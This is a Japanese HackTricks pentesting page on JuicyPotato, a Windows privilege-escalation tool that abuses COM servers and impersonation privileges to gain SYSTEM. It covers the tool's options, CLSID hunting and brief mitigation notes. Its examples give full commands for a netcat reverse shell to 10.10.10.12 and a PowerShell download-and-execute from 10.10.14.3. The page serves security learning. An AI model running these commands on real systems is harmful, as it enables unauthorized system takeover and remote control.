JuicyPotato
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
[!WARNING] > JuicyPotatoは Windows Server 2019 および Windows 10 ビルド 1809 以降では動作しません。しかし、PrintSpoofer、 RoguePotato、 SharpEfsPotato を使用して 同じ特権を利用し、
NT AUTHORITY\SYSTEM
レベルのアクセスを取得できます。 確認:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (ゴールデン特権の悪用)
少しのジュースを加えた RottenPotatoNG の甘いバージョン、つまり Windows サービスアカウントから NT AUTHORITY\SYSTEM への別のローカル特権昇格ツール
juicypotatoは https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts からダウンロードできます
概要
RottenPotatoNG とその バリアント は、BITS
サービス に基づく特権昇格チェーンを利用し、127.0.0.1:6666
で MiTM リスナーを持ち、SeImpersonate
または SeAssignPrimaryToken
特権を持っている場合に機能します。Windows ビルドレビュー中に、BITS
が意図的に無効にされ、ポート 6666
が使用されている設定を見つけました。
私たちは RottenPotatoNG を武器化することに決めました: Juicy Potato にこんにちは。
理論については、Rotten Potato - サービスアカウントから SYSTEM への特権昇格 を参照し、リンクと参照のチェーンをたどってください。
私たちは、BITS
以外にも悪用できるいくつかの COM サーバーがあることを発見しました。これらは次の条件を満たす必要があります:
- 現在のユーザーによってインスタンス化可能であること、通常は偽装特権を持つ「サービスユーザー」
IMarshal
インターフェースを実装していること- 高い権限のユーザー (SYSTEM、Administrator など) として実行されること
いくつかのテストの後、私たちは複数の Windows バージョンで 興味深い CLSID のリスト を取得し、テストしました。
ジューシーな詳細
JuicyPotato を使用すると:
- ターゲット CLSID 任意の CLSID を選択できます。 こちら で OS ごとに整理されたリストを見つけることができます。
- COM リスニングポート 好みの COM リスニングポートを定義します (ハードコーディングされた 6666 の代わりに)
- COM リスニング IP アドレス 任意の IP にサーバーをバインドします
- プロセス作成モード 偽装されたユーザーの特権に応じて、次のいずれかを選択できます:
CreateProcessWithToken
(必要な特権:SeImpersonate
)CreateProcessAsUser
(必要な特権:SeAssignPrimaryToken
)両方
- 起動するプロセス エクスプロイトが成功した場合に実行する実行可能ファイルまたはスクリプト
- プロセス引数 起動するプロセスの引数をカスタマイズします
- RPC サーバーアドレス ステルスアプローチのために、外部 RPC サーバーに認証できます
- RPC サーバーポート 外部サーバーに認証したい場合に便利で、ファイアウォールがポート
135
をブロックしている場合… - テストモード 主にテスト目的、つまり CLSID のテスト。DCOM を作成し、トークンのユーザーを表示します。テストについては こちら を参照してください。
使用法
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
最後の考え
ユーザーが SeImpersonate
または SeAssignPrimaryToken
権限を持っている場合、あなたは SYSTEM です。
これらのCOMサーバーの悪用を防ぐことはほぼ不可能です。これらのオブジェクトの権限を DCOMCNFG
を介して変更することを考えるかもしれませんが、うまくいくことは難しいでしょう。
実際の解決策は、* SERVICE
アカウントの下で実行される敏感なアカウントとアプリケーションを保護することです。DCOM
を停止することは確かにこのエクスプロイトを抑制しますが、基盤となるOSに深刻な影響を与える可能性があります。
出典: http://ohpe.it/juicy-potato/
例
注意: CLSIDのリストについては このページ を訪れてください。
nc.exeリバースシェルを取得する
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
新しいCMDを起動する(RDPアクセスがある場合)
CLSIDの問題
多くの場合、JuicyPotatoが使用するデフォルトのCLSIDは機能しないため、エクスプロイトが失敗します。通常、動作するCLSIDを見つけるには複数の試行が必要です。特定のオペレーティングシステムで試すためのCLSIDのリストを取得するには、このページを訪問してください:
CLSIDの確認
まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。
Join-Object.ps1をダウンロードしてPSセッションにロードし、GetCLSID.ps1をダウンロードして実行します。そのスクリプトは、テストする可能性のあるCLSIDのリストを作成します。
次に、test_clsid.batをダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。すべてのCLSIDを試し始め、ポート番号が変更されると、それはCLSIDが機能したことを意味します。
-cパラメータを使用して動作するCLSIDを確認してください
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。